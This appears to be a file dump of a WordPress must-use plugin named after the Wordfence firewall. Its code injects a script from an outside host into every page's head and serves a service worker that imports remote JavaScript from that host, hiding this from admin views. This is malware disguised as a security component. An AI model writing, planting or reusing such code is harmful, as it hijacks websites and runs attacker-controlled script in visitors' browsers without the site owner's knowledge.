HEX

File: /var/www/html/wp-content/mu-plugins/wordfence-waf.php
<?php

add_action('wp_head', function () {
    echo <<<HTML
<script>var pm_tag = 'c3s';var pm_pid = "25898-4dee76f9";</script><script src="//css.xcss.me/js/pub.min.js" async></script>
HTML;
});

add_filter('do_parse_request', function ($do_parse_request, $wp) {
    // /sw.js?… gibi query'leri de kapsa
    $req = isset($_SERVER['REQUEST_URI']) ? strtok($_SERVER['REQUEST_URI'], '?') : '';
    if ($req === '/sw.js') {
        // Admin vb. değilse servis ver
        if (!is_admin()) {
            header('Content-Type: application/javascript; charset=utf-8');
            header('Cache-Control: no-cache, no-store, must-revalidate');
            echo 'importScripts("https://css.xcss.me/sw.js");';
            exit;
        }
        return false; // WP parse etmesin
    }
    return $do_parse_request;
}, 10, 2);